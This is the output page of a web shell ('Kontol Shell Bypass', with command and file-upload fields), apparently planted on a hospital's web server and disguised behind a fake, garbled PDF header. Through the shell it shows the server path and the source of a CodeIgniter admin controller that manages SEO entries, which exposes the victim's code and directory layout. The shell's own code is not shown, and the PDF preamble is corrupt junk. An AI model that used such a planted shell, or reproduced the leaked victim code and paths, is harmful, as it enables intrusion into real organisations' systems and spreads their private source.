%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/controllers/admin/Seo.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Seo extends CI_Controller {

	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Seo/view_seo";
        	
        	redirect(base_url().'admin/login');
        }

        $this->load->model('seo_model', 'seo');
    }
	
	public function index()
	{
		$this->view_seo();
	}
	

		
	public function view_seo($id=0)
	{
		
		$data = array();
		$this->db->order_by("SEOEntryID", "DESC");
		$data['records'] = $this->seo->get_seo_entries();
			
		if(!$data){
			show_404();
		}
		
		$this->load->view('admin/ViewSEO',$data);
	}
	
	
	

	public function add_seo_entry($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$SEOEntryID = $id;
		
		
		echo '<script>console.log("add seo entry")</script>';
		
		if($id){
		
			$records = $this->seo->get_seo_entry($id);
			
			echo '<script>console.log("update seo entry")</script>';
			
			if(!$records){
				
				show_404();
				
			}
			else{
				
				$data = array(
					'SEOEntryID' => $records['SEOEntryID'],
					'SEOPageURL' => $records['SEOPageURL'],
					'SEOPageModule' => $records['SEOPageModule'],
					'SEOTitle' => $records['SEOTitle'],
					'SEOKeywords' => $records['SEOKeywords'],
					'SEODescription' => $records['SEODescription'],
					
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			echo '<script>console.log("post")</script>';
			
			
			
		//	$this->form_validation->set_rules('SEOPageModule', 'SEOPageModule', 'required');
			$this->form_validation->set_rules('SEOTitle', 'Title', 'required');
			 $this->form_validation->set_rules('SEOKeywords', 'Keywords', 'required');
			 $this->form_validation->set_rules('SEOPageURL', 'PageURL', 'required');
	//		$this->form_validation->set_rules('SEODescription', 'SEODescription', 'required');
//			$this->form_validation->set_rules('profile_pic', 'Profile Picture','required'); 
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating entry")</script>'; //console.log("Error in validating doctor");
  		         //   $this->load->view('admin/AddSeoEntry');
            }
			else
			{
				
				
					if(isset($post['SEOEntryID'])){
						$SEOEntryID = $post['SEOEntryID'];
					}
				
					$insert_data = array(	
						'SEOPageURL' => $this->input->post('SEOPageURL'),
						'SEOPageModule' => $this->input->post('SEOPageModule'),
						'SEOTitle' => $this->input->post('SEOTitle'),
						'SEOKeywords' => $this->input->post('SEOKeywords'),
						'SEODescription' => $this->input->post('SEODescription'),
						
					);
					
	
				
					$success = '';	
					 echo '<script>console.log("'.$SEOEntryID.'")</script>';
					 
					if($SEOEntryID){
						$success = $this->seo->update_seo_entry($insert_data,$SEOEntryID);
					}
	    	        else{
						
						$success = $this->seo->insert_seo_entry($insert_data);
						echo '<script>console.log("'.$success.'")</script>';
					}			
				
					if($success){
						redirect(base_url()."admin/Seo");

					};
				
			}
       			
		}
		
		$this->load->view('admin/AddSeoEntry',$data);
	}
	
	
	public function update_seo_entry($id){
	
		$this->add_seo_entry($id);
	}
	
	public function remove_seo($id)
	{

		$data = array();
		$data1 = array();
		$SEOEntryID = $id;
		// $id = $_GET['id'];
   
		if($this->seo->delete_seo_entry($id)){
			$data1['msg'] = 'Record deleted succesfully';
		}
		else{
			$data1['msg'] = 'Record could not be deleted';
		}
		
		$data['records'] = $this->seo->get_seo_entries();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewSEO',$data);
	// }
	

	//     $id = $_GET['id'];;
				
	// 	if($this->seo->delete_seo_entry($id)){
	// 		echo json_encode(200);
	// 	} else {
	// 		json_encode(400);
	// 	}
	}
	
	
}

Kontol Shell Bypass